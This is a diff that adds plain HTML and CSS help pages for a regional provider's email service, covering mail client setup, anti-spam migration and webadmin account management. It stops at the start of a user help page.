+       <div id="instructions">
+               
+
+                                       
+               <h2>Customer Mail Software Settings for Gaslight Media Mail Service</h2>
+               
+      <p>Please follow the procedure below carefully to configure your E-Mail account to use our E-Mail
+      services. You should only need to make the changes requested in the procedure for the E-Mail software
+      you are using.</p>
+
+                       <p>For these procedures your full E-Mail address should look something like this
+
+                       <blockquote>jim@gaslightmedia.com</blockquote>
+                       </p>
+
+      <p>The part of your E-Mail address after the &quot;@&quot; sign is the &quot;Domain Name&quot;. Please enter this
+      wherever you see &quot;{domain name}&quot; in the procedure below. For example, the server settings
+      for the &quot;jim@gaslightmedia.com&quot; account would be...
+
+        <blockquote>Incoming mail server:   pop.gaslightmedia.com<br> 
+        Outgoing mail server:   smtp.gaslightmeda.com</blockquote>
+                       </p>
+
+                       <p>Please call Gaslight Media Technical Support if you have any problems with these settings or are unable to send or receive mail using our new E-Mail services.
+                       <blockquote>Gaslight Media Technical Support:   231-487-0692</blockquote>
+                       </p>
+
+      <h3>Select the proceedure for your E-Mail software</h3>
+      <ul>
+        <li><p><a href="#Outlook">Outlook 2003 or Outlook 2007</a></p></li>
+        <li><p><a href="#Outlook Express">Outlook Express or Vista Windows Mail</a></p></li>
+        <li><p><a href="#Thunderbird">Thunderbird</a></p></li>
+        <li><p><a href="#Apple Mail">Apple Mail</a></p></li>
+        <li><p><a href="#Other">Other E-Mail Software</a></p></li>
+      </ul>
+
+      <p>&nbsp;<p>
+      <hr>
+      <p>&nbsp;<p>
+
+      <a name="Outlook"></a>
+      <h3>Use this procedure if you are using Outlook 2003 or Outlook 2007</h3>
+      
+      <ol>
+      <li>Start Outlook</li>
+      <li>Click on the &quot;Tools&quot; menu then &quot;E-mail Accounts&quot;</li>
+      <li>Select &quot;Add a new e-mail accounts&quot; then click &quot;Next&quot;</li>
+      <li>Select &quot;Pop3&quot; then click &quot;Next&quot;</li>
+      <li>Complete the form with following settings
+       <ul>
+          <li>&quot;E-mail Address:&quot; should have your complete E-Mail address including domain</li>
+          <li>&quot;Incoming mail server (POP3):&quot; should be &quot;pop.{domain name}&quot;</li>
+          <li>&quot;Outgoing mail server (SMTP):&quot; should be &quot;smtp.{domain name}&quot;</li>
+          <li>&quot;User Name:&quot; should be your complete E-Mail address including domain</li>
+          <li>&quot;Password:&quot; your current password setting should be correct</li>
+          <li>&quot;Log on using Secure Password Authentication (SPA)&quot; should <span class="warning">NOT</span> be checked</li>
+         </ul>
+      </li>
+      <li>Click &quot;More Settings...&quot;</li>
+      <li>Select the &quot;Outgoing Server&quot; tab</li>
+      <li>Verify that the following items are checked
+        <ul>
+          <li>&quot;My outgoing server (SMTP) requires authentication&quot;</li>
+          <li>&quot;Use same settings as my incoming mail server&quot;</li>
+        </ul>
+      </li>
+      <li>Click on the &quot;Advanced&quot; tab</li>
+      <li>Change &quot;Outgoing server (SMTP):&quot; to 2500</li>
+      <li>Click OK.</li>
+      <li>Click &quot;Next&quot; then &quot;Finish&quot;</li>
+      </ol>
+
+      <p>&nbsp;<p>
+      <hr>
+      <p>&nbsp;<p>
+
+      <a name="Outlook Express"></a>
+      <h3>Use this procedure if you are using Outlook Express and Vista Windows Mail</h3>
+      
+      <ol>
+      <li>Start Outlook Express</li>
+      <li>Click on &quot;Tools&quot; menu then &quot;Accounts...&quot;</li>
+      <li>Click &quot;Add&quot; then click &quot;Mail&quot;</li>
+      <li>On the &quot;Your Name&quot; page type as you want it to appear to everyone who gets an email from you, then click &quot;Next&quot;</li>
+      <li>On the &quot;Internet Explorer Address&quot; page, type your complete E-Mail address including domain</li>
+      <li>On the &quot;E-mail Servers Name&quot; page, enter the following settings
+        <ul>
+         <li>&quot;My incoming mail server is a <span class="warning">POP3</span> server&quot;</li>
+          <li>&quot;Incoming mail (POP3)server:&quot; should be &quot;pop.{domain name}&quot;</li>
+          <li>&quot;Outgoing mail (SMTP):&quot; should be &quot;smtp.{domain name}&quot;</li>
+          <li>&quot;Outgoing server requires authentication&quot; should be checked</li>
+       </ul>
+      <li>On the &quot;Internet Mail Logon&quot; page, enter the following settings
+          <li>&quot;Account name:&quot; should be your complete E-Mail address including domain</li>
+          <li>&quot;Password:&quot; should be the password supplied to you from Gaslight</li>
+        </ul>
+      </li>
+      <li>Click &quot;Finish&quot;</li>
+      <li>Click on the &quot;Tools&quot; menu then &quot;Accounts...&quot;</li>      
+      <li>Click on the desired E-Mail account then click &quot;Properties&quot;</li>      
+      <li>Click on the &quot;Advanced&quot; tab at the top</li>      
+      <li>Verify and correct the following settings      
+           <li> &quot;Incoming mail (pop3):&quot; should be &quot;110&quot;</li>      
+           <li> &quot;Outgoing mail (smtp):&quot; should be &quot;2500&quot;</li>      
+           <li> Both &quot;This server requires a secure connection (ssl)&quot; should <span class="warning">NOT</span> be checked</li>
+      <li> Click &quot;OK&quot; then &quot;Close&quot;
+      </ol>
+
+      <p>&nbsp;<p>
+      <hr>
+      <p>&nbsp;<p>
+
+      <a name="Thunderbird"></a>
+      <h3>Use this procedure if you are using Mozilla Thunderbird</h3>
+      
+      <ol>
+      <li>Start Thunderbird</li>
+      <li>Click on &quot;Tools&quot; menu then &quot;Account Settings...&quot;</li>
+      <li>Click on Add account below the left window</li>
+      <li>select &quot;Email account&quot;, then click &quot;Next&quot;</li>
+      <li>On the &quot;Identity&quot; page, Enter the following settings
+       <ul>
+               <li>&quot;Your Name:&quot; is the name that you want people to see when they recieve a E-mail from you</li>
+               <li>&quot;Email Address:&quot; should be your complete E-Mail address including domain</li>
+       </ul>
+      </li>
+      <li>Click &quot;Next&quot;</li>
+      <li>On the &quot;Server information&quot; page, Enter the following settings
+       <ul>
+               <li>&quot;type of incoming server&quot; should be &quot;POP&quot;</li>
+               <li>&quot;Incoming Server:&quot; should be &quot;pop.{domain name}&quot;</li>
+               <li>&quot;Outgoing Server:&quot; should be &quot;smtp.{domain name}&quot;</li>
+       </ul>
+      </li>            
+      <li>Click &quot;Next&quot;</li>
+      <li>On the &quot;User Names&quot; page, Enter the following settings
+       <ul>
+               <li>&quot;Incoming User Name:&quot; should be your complete E-Mail address including domain</li>
+               <li>&quot;Outgoing User Name:&quot; should be your complete E-Mail address including domain</li>
+       </ul>
+      </li>            
+      <li>Click &quot;Next&quot;</li>
+      <li>On the &quot;Account Name&quot; page, Enter the following settings
+       <ul>
+               <li>&quot;Account Name:&quot; should be your complete E-Mail address including domain</li>
+       </ul>
+      </li>            
+      <li>Click &quot;Next&quot;</li>
+      <li>Click &quot;Finish&quot;</li>
+      <li>Click &quot;OK&quot;</li>
+      <li>Click on &quot;Tools&quot; menu then &quot;Account Settings...&quot;</li>
+      <li>Click on &quot;Outgoing Server (SMTP)&quot; in the left window</li>
+      <li>Click on the E-Mail server that includes &quot;(Default)&quot; then click &quot;Edit&quot;</li>
+      <li>Verify and correct as necessary the following settings
+       <ul>
+               <li>&quot;Server Name:&quot; should be &quot;smtp.{domain name}&quot;</li>
+               <li>&quot;Port:&quot; should be 2500</li>
+               <li>&quot;Use name and password&quot; should be checked</li>
+               <li>&quot;User Name:&quot; should be your complete E-Mail address including domain</li>
+               <li>&quot;Use secure connection:&quot; &quot;No&quot; should be selected</li>
+       </ul>
+      </li>            
+      <li>Click &quot;OK&quot; then click &quot;OK&quot;</li>
+      </ol>
+
+      <p>&nbsp;<p>
+      <hr>
+      <p>&nbsp;<p>
+
+      <a name="Apple Mail"></a>
+      <h3>Use this procedure if you are using Apple Mail</h3>
+      
+      <ol>
+      <li>Start Apple Mail</li>
+      <li>Click on the &quot;Mail&quot; menu then click &quot;Preferences&quot;</li>
+      <li>Click on &quot;Accounts&quot; at the top</li>
+      <li>Click on the &quot;+&quot; sign at the bottom of the page</li>
+      <li>Click the &quot;Account Information&quot; Tab</li>
+      <li>Enter the following settings
+       <ul>
+               <li>&quot;Account Type:&quot; should be &quot;POP&quot;</li>
+               <li>&quot;Description:&quot; should be your full E-Mail address including domain</li>
+               <li>&quot;E-Mail Address:&quot; should be your full E-Mail address including domain</li>
+               <li>&quot;Full Name:&quot; should be your the name you want people to see when they recieve an email from you</li>
+               <li>&quot;Incoming Mail Server:&quot; should be &quot;pop.{domain name}&quot;</li>
+               <li>&quot;User Name:&quot; should be your full E-Mail address including domain</li>
+       </ul>
+      </li>            
+      <li>Click on the &quot;Outgoing Mail Server (SMTP):&quot; list and select &quot;Edit Server List&quot;</li>
+      <li>Select the current SMTP server from the drop down list</li>
+      <li>Select the &quot;Account Information&quot; tab</li>
+      <li>&quot;Server Name:&quot; should be &quot;smtp.{domain name}&quot;</li>
+      <li>Click on the &quot;Advanced&quot; tab</li>
+      <li>Verify and correct as necessary the following settings
+       <ul>
+               <li>&quot;Server Port:&quot; should be 2500</li>
+               <li>&quot;Use Secure Sockets Layer (SSL)&quot; should <span class="warning">NOT</span> be clicked</li>
+               <li>&quot;Authentication:&quot; should be &quot;Password&quot;</li>
+       </ul>
+      </li>            
+      <li>Click &quot;Ok&quot;, If it asks you to save click &quot;Save&quot;</li>
+      <li>Close the Preferences panel, selecting &quot;Save&quot; from the dialogue box that appears.</li>
+      </ol>
+
+      <p>&nbsp;<p>
+      <hr>
+      <p>&nbsp;<p>
+
+      <a name="Other"></a>
+      <h3>If you have other E-Mail client software not listed above</h3>
+      
+      <p>Verify and correct as necessary the following settings</p>
+      <ul>
+       <li>Incoming mail server should be &quot;pop.{domain name}&quot;</li>
+       <li>Outgoing mail server should be &quot;smtp.{domain name}&quot;</li>
+       <li>Outgoing port should be &quot;2500&quot;</li>
+       <li>SMTP Authentication should be enabled</li>
+      </ul>                    
+               </div><!-- /#instructions -->   
+       </div><!-- /#wrapper -->
+</body>
+</html>
diff --git a/webmail/spam.html b/webmail/spam.html
new file mode 100755 (executable)
index 0000000..a7dbefd
--- /dev/null
@@ -0,0 +1,242 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Gaslight Media Anti-SPAM Services</title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<meta http-equiv="imagetoolbar" content="no">
+<meta http-equiv="imagetoolbar" content="false">
+<link rel="stylesheet" type="text/css" href="styles.css">
+</head>
+<body>
+  <div id="wrapper">
+       <div id="top">
+               <a href="http://www.gaslightmedia.com"><img src="assets/logo.gif" width="284" height="89" alt="logo (5K)" title="Gaslight Media" border="0"></a>
+               <h1>ANTI-SPAM</h1>
+       </div>
+       <p id="intro">We're moving to a new E-Mail system for faster delivery, greater reliability, and exciting new features!</p>
+       <div id="column1" class="c-off" onMouseover="this.className='c-on'; document.getElementById('arrow').src='assets/arrowOn.gif';" onMouseout="this.className='c-off'; document.getElementById('arrow').src='assets/arrow.gif';">
+               <a href="http://www.gaslightmedia.com/spam/" title="Gaslight Media Classic E-Mail">
+                       <h2>Gaslight Media Classic Anti-SPAM</h2>
+                       <p>Click here if you <span class="warning">HAVE NOT YET BEEN CONTACTED</span> about moving to our new E-Mail service.</p>
+                       <p>We will contact you by E-Mail or phone when we are ready to move your E-Mail account to the new E-Mail service.</p>
+                       <img src="assets/arrow.gif" width="50" height="56" alt="" title="Gaslight Media Classic E-Mail" id="arrow">
+                       <img src="assets/modus.jpg" width="272" height="145" alt="modus (9K)" title="Gaslight Media Classic E-Mail">
+               </a>    
+       </div><!-- /#column1 -->
+       <div id="column2" class="c-off" onMouseover="this.className='c-on'; document.getElementById('arrow2').src='assets/arrowOn.gif';" onMouseout="this.className='c-off'; document.getElementById('arrow2').src='assets/arrow.gif';">
+               <a href="http://webmail.gaslightmedia.com" title="New Gaslight Media E-Mail">
+                       <h2>New Gaslight Media E-Mail</h2>
+                       <p>Click here only if <span class="warning">YOU HAVE BEEN NOTIFIED</span> that your account is ready for the New E-Mail service.</p>
+                       <p>You will see a new Webmail login page. Please enter your complete E-Mail address in the &quot;Username:&quot; field.</p>
+                       <img src="assets/arrow.gif" width="50" height="56" alt="" title="New Gaslight Media E-Mail" id="arrow2">
+                       <img src="assets/newwebmail.jpg" width="272" height="145" alt="newwebmail (6K)" title="New Gaslight Media E-Mail">
+               </a>
+       </div><!-- /#column2 -->
+               
+       <div id="instructions">
+               
+
+                                       
+               <h2>Customer Mail Software Settings for New Gaslight Media Mail Service</h2>
+               
+      <p>Use these procedures <span class="warning">ONLY IF YOU HAVE BEEN NOTIFIED</span> that your E-Mail account is ready to move to our
+      new E-Mail services.</p>
+
+      <p>Please follow the procedure below carefully to configure your E-Mail account to use our new E-Mail
+      services. You should only need to make the changes requested in the procedure for the E-Mail software
+      you are using.</p>
+
+                       <p>For these procedures your full E-Mail address should look something like this
+
+                       <blockquote>jim@gaslightmedia.com</blockquote>
+                       </p>
+
+      <p>The part of your E-Mail address after the &quot;@&quot; sign is the &quot;Domain Name&quot;. Please enter this
+      wherever you see &quot;{domain name}&quot; in the procedure below. For example, the server settings
+      for the &quot;jim@gaslightmedia.com&quot; account would be...
+
+        <blockquote>Incoming mail server:   pop.gaslightmedia.com<br> 
+        Outgoing mail server:   smtp.gaslightmeda.com</blockquote>
+                       </p>
+
+                       <p>Please call Gaslight Media Technical Support if you have any problems with these settings or are unable to send or receive mail using our new E-Mail services.
+                       <blockquote>Gaslight Media Technical Support:   231-487-0692</blockquote>
+                       <blockquote>After Hours Technical Support:   231-487-9773</blockquote>
+                       </p>
+
+      <h3>Select the proceedure for your E-Mail software</h3>
+      <ul>
+        <li><p><a href="#Outlook">Outlook 2003 or Outlook 2007</a></p></li>
+        <li><p><a href="#Outlook Express">Outlook Express</a></p></li>
+        <li><p><a href="#Thunderbird">Thunderbird</a></p></li>
+        <li><p><a href="#Apple Mail">Apple Mail</a></p></li>
+        <li><p><a href="#Other">Other E-Mail Software</a></p></li>
+      </ul>
+
+      <p>&nbsp;<p>
+      <hr>
+      <p>&nbsp;<p>
+
+      <a name="Outlook"></a>
+      <h3>Use this procedure if you are using Outlook 2003 or Outlook 2007</h3>
+      
+      <ol>
+      <li>Start Outlook</li>
+      <li>Click on the &quot;Tools&quot; menu then &quot;E-mail Accounts&quot;</li>
+      <li>Select &quot;View or change existing e-mail accounts&quot; then click &quot;Next&quot;</li>
+      <li>Select the desired E-Mail account then click &quot;Change&quot;</li>
+      <li>Verify and correct as necessary the following settings
+       <ul>
+          <li>&quot;E-mail Address:&quot; should have your complete E-Mail address including domain</li>
+          <li>&quot;Incoming mail server (POP3):&quot; should be &quot;pop.{domain name}&quot;</li>
+          <li>&quot;Outgoing mail server (SMTP):&quot; should be &quot;smtp.{domain name}&quot;</li>
+          <li>&quot;User Name:&quot; should be your complete E-Mail address including domain</li>
+          <li>&quot;Password:&quot; your current password setting should be correct</li>
+          <li>&quot;Log on using Secure Password Authentication (SPA)&quot; should <span class="warning">NOT</span> be checked</li>
+         </ul>
+      </li>
+      <li>Click &quot;More Settings...&quot;</li>
+      <li>Select the &quot;Outgoing Server&quot; tab</li>
+      <li>Verify that the following items are checked
+        <ul>
+          <li>&quot;My outgoing server (SMTP) requires authentication&quot;</li>
+          <li>&quot;Use same settings as my incoming mail server&quot;</li>
+        </ul>
+      </li>
+      <li>Click on the &quot;Advanced&quot; tab</li>
+      <li>Change &quot;Outgoing server (SMTP):&quot; to 2500</li>
+      <li>Click OK.</li>
+      <li>Click &quot;Next&quot; then &quot;Finish&quot;</li>
+      </ol>
+
+      <p>&nbsp;<p>
+      <hr>
+      <p>&nbsp;<p>
+
+      <a name="Outlook Express"></a>
+      <h3>Use this procedure if you are using Outlook Express</h3>
+      
+      <ol>
+      <li>Start Outlook Express</li>
+      <li>Click on &quot;Tools&quot; menu then &quot;Accounts...&quot;</li>
+      <li>Click on the desired E-Mail account then click &quot;Properties&quot;</li>
+      <li>Click on the &quot;General&quot; tab at the top</li>
+      <li>&quot;E-Mail address:&quot; should be your complete E-Mail address including domain</li>
+      <li>Click on the &quot;Servers&quot; tab at the top</li>
+      <li>Verify and correct as necessary the following settings
+        <ul>
+          <li>&quot;Incoming mail (POP3):&quot; should be &quot;pop.{domain name}&quot;</li>
+          <li>&quot;Outgoing mail (SMTP):&quot; should be &quot;smtp.{domain name}&quot;</li>
+          <li>&quot;Account name:&quot; should be your complete E-Mail address including domain</li>
+          <li>&quot;Log on using Secure Password Authentication&quot; should <span class="warning">NOT</span> be checked</li>
+          <li>&quot;My server requires authentication&quot; should be checked</li>
+        </ul>
+      </li>
+      <li> Click on the &quot;Settings...&quot; button</li>
+      <li>&quot;Use same settings as my incoming mail server&quot; should be selected</li>
+      <li> Click &quot;OK&quot;</li>
+      <li> Click on &quot;Advanced&quot; tab at the top</li>
+      <li> Verify and correct as necessary the following settings
+       <ul>
+               <li>&quot;Outgoing mail (SMTP):&quot; should be 2500</li>
+               <li>&quot;Incoming mail (POP3):&quot; should be 110</li>
+       </ul>
+      </li>            
+      <li>Both &quot;This server requires a secure connection (SSL)&quot; should <span class="warning">NOT</span> be checked</li>
+      <li>Click &quot;OK&quot; then &quot;Close&quot;</li>
+      </ol>
+
+      <p>&nbsp;<p>
+      <hr>
+      <p>&nbsp;<p>
+
+      <a name="Thunderbird"></a>
+      <h3>Use this procedure if you are using Mozilla Thunderbird</h3>
+      
+      <ol>
+      <li>Start Thunderbird</li>
+      <li>Click on &quot;Tools&quot; menu then &quot;Account Settings...&quot;</li>
+      <li>Click on the desired E-Mail account in the left window</li>
+      <li>If there is a small &quot;+&quot; to the left of the account, click on that &quot;+&quot;</li>
+      <li>Verify and correct as necessary the following settings
+       <ul>
+               <li>&quot;Email Address:&quot; should be your complete E-Mail address including domain</li>
+               <li>&quot;Outgoing Server (SMTP):&quot; should be &quot;Use Default Server&quot;</li>
+       </ul>
+      </li>            
+      <li>Click on &quot;Server Settings&quot; under your selected account in the left window</li>
+      <li>Verify and correct as necessary the following settings
+       <ul>
+               <li>&quot;Server Name:&quot; should be &quot;pop.{domain name}&quot;</li>
+               <li>&quot;User Name:&quot; should be your complete E-Mail address including domain</li>
+       </ul>
+      </li>            
+      <li>Click on &quot;Outgoing Server (SMTP)&quot; in the left window</li>
+      <li>Click on the E-Mail server that includes &quot;(Default)&quot; then click &quot;Edit&quot;</li>
+      <li>Verify and correct as necessary the following settings
+       <ul>
+               <li>&quot;Server Name:&quot; should be &quot;smtp.{domain name}&quot;</li>
+               <li>&quot;Port:&quot; should be 2500</li>
+               <li>&quot;Use name and password&quot; should be checked</li>
+               <li>&quot;User Name:&quot; should be your complete E-Mail address including domain</li>
+               <li>&quot;Use secure connection:&quot; &quot;No&quot; should be selected</li>
+       </ul>
+      </li>            
+      <li>Click &quot;OK&quot; then click &quot;OK&quot;</li>
+      </ol>
+
+      <p>&nbsp;<p>
+      <hr>
+      <p>&nbsp;<p>
+
+      <a name="Apple Mail"></a>
+      <h3>Use this procedure if you are using Apple Mail</h3>
+      
+      <ol>
+      <li>Start Apple Mail</li>
+      <li>Click on the &quot;Mail&quot; menu then click &quot;Preferences&quot;</li>
+      <li>Click on &quot;Accounts&quot; at the top</li>
+      <li>Click on the desired E-Mail account at the left</li>
+      <li>Click the &quot;Account Information&quot; Tab</li>
+      <li>Verify and correct as necessary the following settings
+       <ul>
+               <li>&quot;E-Mail Address:&quot; should be your full E-Mail address including domain</li>
+               <li>&quot;Incoming Mail Server:&quot; should be &quot;pop.{domain name}&quot;</li>
+               <li>&quot;User Name:&quot; should be your full E-Mail address including domain</li>
+       </ul>
+      </li>            
+      <li>Click on the &quot;Outgoing Mail Server (SMTP):&quot; list and select &quot;Edit Server List&quot;</li>
+      <li>Select the current SMTP server from the drop down list</li>
+      <li>Select the &quot;Account Information&quot; tab</li>
+      <li>&quot;Server Name:&quot; should be &quot;smtp.{domain name}&quot;</li>
+      <li>Click on the &quot;Advanced&quot; tab</li>
+      <li>Verify and correct as necessary the following settings
+       <ul>
+               <li>&quot;Server Port:&quot; should be 2500</li>
+               <li>&quot;Use Secure Sockets Layer (SSL)&quot; should <span class="warning">NOT</span> be clicked</li>
+               <li>&quot;Authentication:&quot; should be &quot;Password&quot;</li>
+       </ul>
+      </li>            
+      <li>Click &quot;Ok&quot;, If it asks you to save click &quot;Save&quot;</li>
+      <li>Close the Preferences panel, selecting &quot;Save&quot; from the dialogue box that appears.</li>
+      </ol>
+
+      <p>&nbsp;<p>
+      <hr>
+      <p>&nbsp;<p>
+
+      <a name="Other"></a>
+      <h3>If you have other E-Mail client software not listed above</h3>
+      
+      <p>Verify and correct as necessary the following settings</p>
+      <ul>
+       <li>Incoming mail server should be &quot;pop.{domain name}&quot;</li>
+       <li>Outgoing mail server should be &quot;smtp.{domain name}&quot;</li>
+       <li>Outgoing port should be &quot;2500&quot;</li>
+       <li>SMTP Authentication should be enabled</li>
+      </ul>                    
+               </div><!-- /#instructions -->   
+       </div><!-- /#wrapper -->
+</body>
+</html>
diff --git a/webmail/styles.css b/webmail/styles.css
new file mode 100755 (executable)
index 0000000..2dc8019
--- /dev/null
@@ -0,0 +1,126 @@
+body {
+  margin: 0;
+  padding: 0;
+  text-align: center;
+  font-family: arial, sans-serif;
+  font-size: 12px;
+       background: #C2D9FF;
+}
+a:link {color: #1D58A5; }
+a:visited {color: #1D58A5; }
+a:hover {color: #000; }
+a:active {color: #1D58A5; }
+
+img {border: 0; display: block;}
+#wrapper {
+       width: 760px;
+       margin: 0 auto;
+       text-align: left;
+       background: white;
+       height: 1%;
+       overflow: hidden;
+       }
+#top {
+       position: relative;
+       height: 1%;
+       overflow: hidden;
+       padding-bottom: 10px;
+       }
+#top img {
+       float: left;
+       position: relative;
+       margin: 20px 0 0 40px;
+       }
+#top h1 {
+       color: #1d58a5;
+       text-transform: uppercase;
+       font-size: 22px;
+       position: absolute;
+       bottom: 10px;
+       right: 40px;
+       }
+
+#intro {
+       margin: 1em 40px;
+       border: 2px dashed #1d58a5;
+       background: #eee;
+       padding: 15px;
+       font-size: 1.2em;
+       }
+#instructions {
+       margin: 0 40px;
+       clear: both;
+       padding-top: 1em;
+       }
+#instructions h2 {font-size: 18px; color: #3B74BF; }
+#instructions h3 {font-size: 16px; color: #3B74BF;}
+       
+       
+#column1{
+       width: 318px;
+       float: left;
+       position: relative;
+       background: #fff;
+       }
+#column2 {
+       width: 318px;
+       float: right; 
+       position: relative;
+       background: #fff;
+       }       
+       
+       
+#column1 {
+       margin: 10px 20px 10px 40px;
+       display: inline;
+       }
+#column2 {margin: 10px 40px 10px 20px;}
+
+#column1 h2, #column2 h2 {
+       background-color: #1d58a5;
+       background-color: #3B74BF;
+       color: white;
+       font-size: 1.5em;
+       margin: 0 0 10px 0;
+       padding: 10px;
+       position: relative;
+       }
+#column1 a, #column2 a {
+       color: black;
+       cursor: hand;
+       cursor: pointer;
+       text-decoration: none;
+       display: block;
+       }
+/* Header :hover */
+#column1 a:hover h2,
+#column2 a:hover h2 {
+       background-color: #E25D21;
+       background-color: #FF854F;
+       }
+
+/* Screenshot centering */
+#column1 img,
+#column2 img {
+       margin: 0 auto;
+       }       
+/* Coulmn paragraphs */        
+#column1 p,
+#column2 p {
+       margin: 1em 20px;
+       }       
+               
+.c-off {border: 1px solid #FF854F;}
+.c-on  {border: 1px solid #FF854F;}
+
+p#bottom {
+       margin: 1em 40px;
+       padding: 10px;
+       font-size: 1.1em;
+       clear: both;
+       }
+.warning {
+       color: #e25d21;
+       font-weight: bold;
+       }
+               
diff --git a/webmail/webadmin.html b/webmail/webadmin.html
new file mode 100755 (executable)
index 0000000..e4b9269
--- /dev/null
@@ -0,0 +1,166 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Gaslight Media Email Services</title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<meta http-equiv="imagetoolbar" content="no">
+<meta http-equiv="imagetoolbar" content="false">
+<link rel="stylesheet" type="text/css" href="styles.css">
+</head>
+<body>
+  <div id="wrapper">
+       <div id="top">
+               <a href="http://www.gaslightmedia.com"><img src="assets/logo.gif" width="284" height="89" alt="logo (5K)" title="Gaslight Media" border="0"></a>
+               <h1>WEBADMIN Help</h1>
+       </div>
+       <div id="instructions">
+               
+
+                                       
+               <h2>Webadmin for Gaslight Media Mail Service</h2>
+               
+                       <p>Please call Gaslight Media Technical Support if you have any problems with these settings or are unable to send or receive mail using our new E-Mail services.
+                       <blockquote>Gaslight Media Technical Support:   231-487-0692</blockquote>
+                       </p>
+
+      <h3>Select a proceedure</h3>
+      <ul>
+        <li><p><a href="#AddEmail">Add an E-Mail</a></p></li>
+        <li><p><a href="#RemoveEmail">Remove an E-Mail</a></p></li>
+        <li><p><a href="#ChangeEmailPassword">Change an E-Mail Password</a></p></li>
+        <li><p><a href="#ChangeAdminPassword">Change the Admin Password</a></p></li>
+        <li><p><a href="#AddForwarder">Add an Alias/Forwarder</a></p></li>
+        <li><p><a href="#RemoveForwarder">Remove an Alias/Forwarder</a></p></li>
+      </ul>
+
+      <p>&nbsp;<p>
+      <hr>
+      <p>&nbsp;<p>
+
+      <a name="AddEmail"></a>
+      <h3>Adding an E-mail account to your domain</h3>
+      
+      <ol>
+      <li>Open a browser to &quot;webmail.(your domain)&quot;</li>
+      <li>Log on using suplied user name and password</li>
+      <li>Click on settings on the top of the page</li>
+      <li>Click on &quot;Email Account management&quot;</li>
+      <li>Click on  &quot;Add email account&quot; button</li>
+      <li>Complete the form with following
+       <ul>
+          <li>&quot;Username:&quot; has to be the complete E-Mail address including domain</li>
+          <li>&quot;Password:&quot; Must be a min. of 6 char. and include at least 1 number and one letter</li>
+          <li>&quot;First Name:&quot; this will be included in the signiture on the bottom of E-mails sent from webmail</li>
+          <li>&quot;Lasy Name:&quot; this will be included in the signiture on the bottom of E-mails sent from webmail</li>
+          <li>All other settings are optional</li>
+         </ul>
+      </li>
+      <li>Click &quot;Create a Gaslight Media Sub-Account&quot;</li>
+      </ol>
+
+      <p>&nbsp;<p>
+      <hr>
+      <p>&nbsp;<p>
+
+      <a name="RemoveEmail"></a>
+      <h3>Remove an E-mail account from your domain</h3>
+      
+      <ol>
+      <li>Open a browser to &quot;webmail.(your domain)&quot;</li>
+      <li>Log on using suplied user name and password</li>
+      <li>Click on settings on the top of the page</li>
+      <li>Click on &quot;Email Account management&quot;</li>
+      <li>Check the account(s) you want to delete</li>
+      <li>Click &quot;termanate&quot; at the bottom of the page</li>
+      <li>Check the &quot;Terminate user(s) and all data immediately&quot;</li>
+      <li>Click &quot;Yes&quot;</li>
+      </ol>
+
+      <p>&nbsp;<p>
+      <hr>
+      <p>&nbsp;<p>
+
+      <a name="ChangeEmailPassword"></a>
+      <h3>Change a password for an E-mail account in your domain</h3>
+      
+      <ol>
+      <li>Open a browser to &quot;webmail.(your domain)&quot;</li>
+      <li>Log on using suplied user name and password</li>
+      <li>Click on settings on the top of the page</li>
+      <li>Click on &quot;Email Account management&quot;</li>
+      <li>Check the account you want to Change</li>
+      <li>Click &quot;edit&quot; at the bottom of the page</li>
+      <li>Enter the new password in the &quot;Password:&quot; field</li>
+      <li>Click &quot;Edit Gaslight Media Sub-Account&quot;</li>
+      </ol>
+      
+      <p>&nbsp;<p>
+      <hr>
+      <p>&nbsp;<p>
+
+      <a name="ChangeAdminPassword"></a>
+      <h3>Change a password for the Admin account on your domain</h3>
+      
+      <ol>
+      <li>Open a browser to &quot;webmail.(your domain)&quot;</li>
+      <li>Log on using suplied user name and password</li>
+      <li>Click on settings on the top of the page</li>
+      <li>Click on &quot;Account Maintenance&quot;</li>
+      <li>Click &quot;Change Password &amp; Secret Question/Answer&quot; </li>
+      <li>Complete the form with following
+       <ul>
+          <li>&quot;Old Password:&quot; enter your existing password</li>
+          <li>&quot;New Password:&quot; Must be a min. of 6 char. and include at least 1 number and one letter</li>
+          <li>&quot;Re-type New Password:&quot; For verification</li>
+         </ul>
+      </li>
+      <li>Click &quot;Update Password &amp; Secret Question&quot;</li>
+      </ol>
+      
+      <p>&nbsp;<p>
+      <hr>
+      <p>&nbsp;<p>
+
+      <a name="AddForwarder"></a>
+      <h3>Add an Alias/Forwarder</h3>
+      
+      <ol>
+      <li>Open a browser to &quot;webmail.(your domain)&quot;</li>
+      <li>Log on using suplied user name and password</li>
+      <li>Click on settings on the top of the page</li>
+      <li>Click on &quot;Forwards, Autorespond, Lists&quot;</li>
+      <li>Click on &quot;Mail Forwarders&quot;</li>
+      <li>Click on &quot;Add a new mail forwarder to a domain&quot;</li>
+      <li>Complete the form with following
+       <ul>
+          <li>&quot;Mail Forwarder Name:&quot; The user part of the email you want forwarded</li>
+          <li>&quot;Domain&quot; Select the domain you want it added to</li>
+          <li>&quot;Email Address to Forward to:&quot; where you want the mail sent to</li>
+         </ul>
+      </li>
+      <li>Click &quot;Add Mail Forwarder&quot;</li>
+      </ol>
+
+      <p>&nbsp;<p>
+      <hr>
+      <p>&nbsp;<p>
+
+      <a name="RemoveForwarder"></a>
+      <h3>Remove an Alias/Forwarder</h3>
+      
+      <ol>
+      <li>Open a browser to &quot;webmail.(your domain)&quot;</li>
+      <li>Log on using suplied user name and password</li>
+      <li>Click on settings on the top of the page</li>
+      <li>Click on &quot;Forwards, Autorespond, Lists&quot;</li>
+      <li>Click on &quot;Mail Forwarders&quot;</li>
+      <li>Check the account(s) you want to delete</li>
+      <li>Click &quot;Delete&quot; at the bottom of the page</li>
+      <li>Click &quot;Yes&quot;</li>
+      </ol>
+
+               </div><!-- /#instructions -->   
+       </div><!-- /#wrapper -->
+</body>
+</html>
diff --git a/webmail/webuser.html b/webmail/webuser.html
new file mode 100755 (executable)
index 0000000..be2f8b0
--- /dev/null
@@ -0,0 +1,147 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
